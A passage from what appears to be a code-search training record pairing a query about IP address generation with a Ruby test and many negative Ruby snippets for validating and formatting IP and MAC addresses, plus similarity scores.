input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def ip_string\n\t\t\"#{settings.subnet}.#{settings.nodes_ip_offset + @ip}\"\n\tend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def dot_separated_ip_address?(input_string)\n is_an_ip_number?(input_string.split(\".\"))\nend", "def old_ip_address?\n dns.any? do |answer|\n answer.class == Net::DNS::RR::A && LEGACY_IP_ADDRESSES.include?(answer.address.to_s)\n end if dns?\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\n else\n false\n end\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break uness is_an_ip_number?(word)\n end\n return true\nend", "def ipaddress\n resolve.nil? || resolve.empty? ? nil : resolve\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true # could be shortened to just true: Ruby returns the result of the last evaluated expression.\nend", "def ip_exist?\n return false if current_resource.addresses.nil?\n current_resource.addresses.include?(new_resource.address)\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def exists_ip_in_unique_net?(object, parent)\n puts \"\\\\\\\\ 1. IP IN UNIQUE_NET ?? \\\\\\\\\"\n temp = Ipnet.find(:first, :conditions => [\"parent_id = ? and unq = ?\", parent, true])\n if not temp.nil?\n puts \"ipnet.rb: Validierung fehlgeschlagen (Unique IP für das Netz bereits vergeben)\"\n errors.add(:ipaddr, \"ist für das Netz bereits vergeben.\") and puts \"ipnet.rb: Validierung fehlgeschlagen\"\n else\n return true\n end\n end", "def validate_ipaddr(ip)\n ip_regex = /\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b/\n if ip_regex =~ ip\n return true\n else\n return false\n end\n end", "def ip_address_with_mask\n ip_address.try(:to_cidr_s)\n end" ]
[ "0.7137188", "0.70191795", "0.686849", "0.6813128", "0.65890265", "0.653524", "0.6522178", "0.6508649", "0.6454406", "0.64341736", "0.6395352", "0.6294919", "0.6276404", "0.61697096", "0.61675155", "0.61567813", "0.6113983", "0.61085093", "0.61055255", "0.6085239", "0.60800743", "0.6077668", "0.6072587", "0.6065335", "0.6060676", "0.60565984", "0.60553026", "0.605068", "0.60479665", "0.60359347", "0.60346967", "0.6020691", "0.6014908", "0.60078675", "0.6006845", "0.59873194", "0.5956522", "0.5956522", "0.5956522", "0.5956522", "0.5956522", "0.5956522", "0.5942329", "0.5941596", "0.5933243", "0.5926888", "0.59227633", "0.5918058", "0.5910577", "0.5890439", "0.58818233", "0.5867869", "0.58575904", "0.58530885", "0.5837259", "0.5809889", "0.5805198", "0.5805198", "0.5805198", "0.5804704", "0.5804313", "0.578613", "0.57854396", "0.5772659", "0.57717454", "0.57518864", "0.57518864", "0.5745685", "0.5743846", "0.5738999", "0.57377267", "0.5732397", "0.57302636", "0.5721833", "0.57204527", "0.5707032", "0.5704808", "0.5703852", "0.5703524", "0.5702587", "0.57020456", "0.57020456", "0.57020456", "0.5697804", "0.56961125", "0.5693329", "0.5691974", "0.56897104", "0.56793463", "0.56644845", "0.5663272", "0.5657336", "0.5656989", "0.56539154", "0.56523037", "0.5629498", "0.5620533", "0.56190425", "0.56172615", "0.5617197" ]
0.6911385
2
Check generate ipaddr without prefix
def test_gen_ipaddr_with_prefix PROTOCOL_TYPES.keys.each do |protocol| ipaddr = RFauxFactory.gen_ipaddr(protocol: protocol, prefix: [10, 11]) assert ipaddr.split(PROTOCOL_SEPARATOR[protocol]).length, PROTOCOL_TYPES[protocol] assert_includes ipaddr.split(PROTOCOL_SEPARATOR[protocol]), '10' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_gen_ipaddr_ip3_ending\n assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0'\n end", "def test_gen_ipaddr_long_prefix\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip4, prefix: [10, 11, 12, 13])\n end\n end", "def test_gen_ipaddr_without_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n assert_equal RFauxFactory.gen_ipaddr(protocol: protocol).split(PROTOCOL_SEPARATOR[protocol]).length,\n PROTOCOL_TYPES[protocol]\n end\n end", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def ipaddr?; end", "def addr_valid?(res)\n res << \"Provided IP addr isn't valid!\" unless ip_validation_lib.valid? addr\n end", "def okIP(addr)\nreturn addr != \"0.0.0.0\" &&\n addr != \"255.255.255.255\" &&\n !addr.match(/^169\\.254.*/) &&\n !addr.match(/^10.*/) &&\n !addr.match(/^172\\.[1-3].*/) && # TODO: match the block better\n !addr.match(/^192\\.168.*/)\nend", "def is_addr(s)\n s.match(/^[0-9a-fA-F]+:$/) != nil\nend", "def ipaddr; end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def prefix(ip_address)\n ip_address.split(\".\")[0..-2].join(\".\")\nend", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def check_ip; end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def ip_v4_address; end", "def is_ip_addr?(part)\n ip = IPAddr.new(part)\n ip.ipv4?\n rescue IPAddr::InvalidAddressError => e\n false\n end", "def is_valid_ip?(address)\n octets = address.split('.')\n return false if octets.length != 4\n octets.each {|octet| return false if octet.to_i > 255 || octet.to_i < 0}\n true\nend", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def check_ip_any_alias\n case @options[:ipaddr]\n when nil, '', 'any', /^\\s*$/\n @options[:ipaddr] = '0.0.0.0'\n @options[:netmask] = 0\n end\n end", "def private_ip_v4_address; end", "def exact_ip_address?(str)\n !!(str =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/)\nend", "def ip\n ''\n end", "def dot_seperated_ip_address?(input_string)\n numbers = input_string.split('.')\n return false if numbers.size != 4\n\n numbers.each do |num|\n return false if is_an_ip_number?(num) == false\n end\n true\nend", "def public_ip_v4_address; end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n dot_separated_words.each do |word|\n return false unless (0..256).include?(word.to_i)\n end\n\n return true\nend", "def next_ip\n\t\treturn false if not valid?\n\t\tif (@curr_addr > @ranges[@curr_range][1])\n\t\t\tif (@curr_range >= @ranges.length - 1)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t@curr_range += 1\n\t\t\t@curr_addr = @ranges[@curr_range][0]\n\t\tend\n\t\taddr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2])\n\t\t@curr_addr += 1\n\t\treturn addr\n\tend", "def validate_ip_address(item)\n error(msg: 'Invalid IP address string', item: __method__.to_s) if (begin\n IPAddr.new(item)\n rescue StandardError\n nil\n end).nil?\n end", "def ipv4_address?(n)\n arr = n.split('.')\n if arr.count != 4 ||\n !('1'..'255').include?(arr[0])\n return false\n end\n\n arr.each do |num|\n return false if !('1'..'255').include?(num)\n end\n true\nend", "def anonymize\n ipv4 = (m = value.match(/\\d+\\.\\d+\\.\\d+\\.\\d+$/)) ? m[0] : \"\"\n ipv6 = value.gsub(ipv4, \"\")\n ipv6 += \":\" if ipv4.present? && ipv6.present?\n ipv4 = ipv4.gsub(/\\.\\d+$/, \".0\")\n ipv6 = ipv6.gsub(/:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*$/, \"::\")\n IPAddress.new([ipv6, ipv4].keep_if { |ip| ip.present? }.join)\n end", "def mac_address(prefix: T.unsafe(nil)); end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size != 4\n return false\n else\n dot_separated_words.each do |word|\n if (0..256).include?(word.to_i)\n next\n else\n return false\n end\n end\n end\n return true\nend", "def check_address(_)\n raise NotImplementedError\n end", "def test_gen_ipaddr_invalid_protocol\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip5)\n end\n end", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def ip_valid?\n return if ip.blank?\n\n IPAddr.new(ip.strip, Socket::AF_INET)\n rescue IPAddr::InvalidAddressError, IPAddr::AddressFamilyError\n errors.add(:ip, :invalid)\n end", "def is_ipaddr?\n begin\n ip = IPAddr.new(self)\n return ip.to_s == self\n rescue ArgumentError\n return false\n end\n end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_from_num(i)\n \"192.168.90.#{i+IP_OFFSET}\"\nend", "def test_valid_ipaddr\n # XXX assert_match real regex\n\t\tassert @user[:ipaddr].length<=15\n\t\t@user[:ipaddr] = '123.123.123.123.456'\n\t\tassert [email protected]\n end", "def random_unused_loopback_ip\n [127, *(0...3).map { (rand(127) + 128)}].map(&:to_s).join('.')\n end", "def valid_ip?(address)\n address.is_a?(String)? validate_number_count(address) : false\nend", "def sip_sanitize_address(addr)\n\t\tif ( addr =~ /:/ )\n\t\t\treturn addr.scan(/.*:(.*)/)[0][0]\n\t\tend\n\t\treturn addr\n\tend", "def ip?\n return (proto == 'ip')\n end", "def hex_address_unique?(hex_address)\n return false if hex_address == '0000'\n return false if hex_address == 'ffff'\n if Chef::Config[:solo]\n Chef::Log.warn('Running solo, cannot check address uniqueness')\n return true\n else\n return search(:node, \"tinc_hex_address:#{ha}\").empty?\n end\nend", "def address_prefix\n return unless exists?\n properties.addressPrefix\n end", "def ip_address? (str)\n\treturn str.match? /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words == 4\n until dot_separated_words.empty?\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n # return \"Invalid\" if dot_separated_words.length != 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def only_ip()\n\n ip = ARGV[0]\n\n ipv4 = /^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/\n ipv6 = /^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$/ \n\n if ip =~ ipv4 || ip =~ ipv6\n $onlyip = ip\n ARGV.shift\n else\n usage()\n end\n\nend", "def full_address; end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n break unless is_an_ip_number?(word)\r\n end\r\n return true\r\nend", "def valid_ip?(address)\n #ternary that validates number count if string or returns false\n address.is_a?(String) ? validate_number_count(address) : false\nend", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def defang_i_paddr(address)\n return address.split('.').join('[.]')\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n return false unless dot_separated_words.size == 4 #\r\n\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n return false unless is_an_ip_number?(word)\r\n end\r\n\r\n true\r\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def valid_ip?(str)\n str_arr = str.split(\".\");\n return false if str_arr.length != 4\n\n str_arr.each do |el|\n return false unless el.match(/^\\d{0,3}$/) && el.to_i >= 0 && el.to_i <= 255\n end\n return true \nend", "def defang_i_paddr(address)\n address.gsub('.', '[.]')\nend", "def check_ip_address\n if ip_address\n result = IPAddress.valid? ip_address\n errors.add( 'Incorrect IP formatting' ) unless result\n end\n end", "def validate_ip ip\n raise Error, \"Invalid IP Address #{ip}\" unless ip =~ /(\\d{1,3}\\.){3}\\d{1,3}/\n ip\n end", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def valid_ip?(str)\n begin\n IPAddr.new(str).ipv4?\n true\n rescue\n false\n end\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def ip_string\n\t\t\"#{settings.subnet}.#{settings.nodes_ip_offset + @ip}\"\n\tend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def dot_separated_ip_address?(input_string)\n is_an_ip_number?(input_string.split(\".\"))\nend", "def old_ip_address?\n dns.any? do |answer|\n answer.class == Net::DNS::RR::A && LEGACY_IP_ADDRESSES.include?(answer.address.to_s)\n end if dns?\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\n else\n false\n end\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break uness is_an_ip_number?(word)\n end\n return true\nend", "def ipaddress\n resolve.nil? || resolve.empty? ? nil : resolve\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true # could be shortened to just true: Ruby returns the result of the last evaluated expression.\nend", "def ip_exist?\n return false if current_resource.addresses.nil?\n current_resource.addresses.include?(new_resource.address)\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def exists_ip_in_unique_net?(object, parent)\n puts \"\\\\\\\\ 1. IP IN UNIQUE_NET ?? \\\\\\\\\"\n temp = Ipnet.find(:first, :conditions => [\"parent_id = ? and unq = ?\", parent, true])\n if not temp.nil?\n puts \"ipnet.rb: Validierung fehlgeschlagen (Unique IP für das Netz bereits vergeben)\"\n errors.add(:ipaddr, \"ist für das Netz bereits vergeben.\") and puts \"ipnet.rb: Validierung fehlgeschlagen\"\n else\n return true\n end\n end", "def ip_address_with_mask\n ip_address.try(:to_cidr_s)\n end", "def validate_ipaddr(ip)\n ip_regex = /\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b/\n if ip_regex =~ ip\n return true\n else\n return false\n end\n end" ]
[ "0.71371424", "0.7019133", "0.69113445", "0.68684727", "0.6589001", "0.65351695", "0.6522147", "0.6508607", "0.6454383", "0.64341706", "0.6395361", "0.6294882", "0.6276368", "0.61696947", "0.6167481", "0.6156721", "0.61139405", "0.61084473", "0.61055076", "0.60851985", "0.6080041", "0.6077652", "0.6072564", "0.6065309", "0.60606545", "0.605653", "0.60552347", "0.6050653", "0.6047967", "0.6035955", "0.60346705", "0.60207134", "0.60148424", "0.6007866", "0.6006755", "0.59872717", "0.59565115", "0.59565115", "0.59565115", "0.59565115", "0.59565115", "0.59565115", "0.5942325", "0.59415436", "0.59332526", "0.5926832", "0.592273", "0.5917995", "0.5910551", "0.58904535", "0.5881765", "0.5867849", "0.58576", "0.5853067", "0.58372223", "0.58099043", "0.58051926", "0.58051926", "0.58051926", "0.58047", "0.58043057", "0.57860947", "0.57854235", "0.5772669", "0.5771733", "0.57518595", "0.57518595", "0.574567", "0.5743828", "0.5738986", "0.57377124", "0.57323784", "0.57302165", "0.5721829", "0.5720388", "0.5706955", "0.5704724", "0.5703757", "0.5703506", "0.5702584", "0.5702029", "0.5702029", "0.5702029", "0.5697715", "0.569611", "0.5693275", "0.5691959", "0.56897175", "0.5679293", "0.56644666", "0.56632483", "0.5657356", "0.5656972", "0.5653932", "0.56522965", "0.56294775", "0.5620561", "0.5619019", "0.561723", "0.5617169" ]
0.68130976
4
Check that ip3 ends with 0
def test_gen_ipaddr_ip3_ending assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def an_ip_number?(element)\n element.to_i >= 0 && element.to_i <= 255\nend", "def valid_ip?(string)\n decimal_counter = 0\n range_counter = 0\n\n strArray = string.split('')\n strArray.each do |char|\n if char == '.'\n decimal_counter += 1\n end\n end\n\n numArray = string.split('.')\n numArray.each do |int|\n int = int.to_i\n if int >= 0 && int <= 255\n range_counter += 1\n else\n return\n end\n end\n\n if decimal_counter == 3 && range_counter == 4\n p \"true\"\n return true\n else\n p \"false\"\n return false\n end\nend", "def valid_ip?(str)\n str_arr = str.split(\".\");\n return false if str_arr.length != 4\n\n str_arr.each do |el|\n return false unless el.match(/^\\d{0,3}$/) && el.to_i >= 0 && el.to_i <= 255\n end\n return true \nend", "def valid_ip(ip)\n ip.split('.').map(&:to_i).select {|x| x.between?(0,255)}.count == 4\nend", "def valid_ip?(str)\n nums = str.split(\".\").map(&:to_i)\n return false if nums.size != 4\n nums.all? { |num| num >= 0 && num <= 255 }\nend", "def valid_ip?(str)\n return false unless str =~ /^\\d+(\\.\\d+){3}$/\n nums = str.split(\".\").map(&:to_i)\n nums.all? {|num| num >= 0 && num <= 255}\nend", "def okIP(addr)\nreturn addr != \"0.0.0.0\" &&\n addr != \"255.255.255.255\" &&\n !addr.match(/^169\\.254.*/) &&\n !addr.match(/^10.*/) &&\n !addr.match(/^172\\.[1-3].*/) && # TODO: match the block better\n !addr.match(/^192\\.168.*/)\nend", "def is_valid_ip?(address)\n octets = address.split('.')\n return false if octets.length != 4\n octets.each {|octet| return false if octet.to_i > 255 || octet.to_i < 0}\n true\nend", "def valid_ip?(string)\n return false unless string =~ /^\\d+(\\.\\d+){3}$/\n nums = string.split('.').map(&:to_i)\n nums.all? { |num| num >= 0 && num <= 255 }\nend", "def Check4(ip)\n return false if ip == nil || ip == \"\"\n num = \"(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\"\n ipv4 = Ops.add(Ops.add(Ops.add(Ops.add(\"^\", num), \"(\\\\.\"), num), \"){3}$\")\n Builtins.regexpmatch(ip, ipv4)\n end", "def valid_ip?(str)\n ip_ary = str.split('.')\n ip_ary.size == 4 && ip_ary.all?{|x| x.match(/^\\d{1,3}$/) && (0..255).include?(x.to_i)}\nend", "def valid_ip?(string)\n string.split(\".\").each do |num_str|\n num = num_str.to_i\n return false if num < 0 || num > 255\n end\n true\nend", "def is_an_ip_number?(word)\n word.to_i.to_s == word && (word.to_i >= 0 && word.to_i <= 255)\nend", "def is_an_ip_number?(word)\n word.to_i.to_s == word && (word.to_i >= 0 && word.to_i <= 255)\nend", "def ipv4_address?(n)\n arr = n.split('.')\n if arr.count != 4 ||\n !('1'..'255').include?(arr[0])\n return false\n end\n\n arr.each do |num|\n return false if !('1'..'255').include?(num)\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words == 4\n until dot_separated_words.empty?\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def 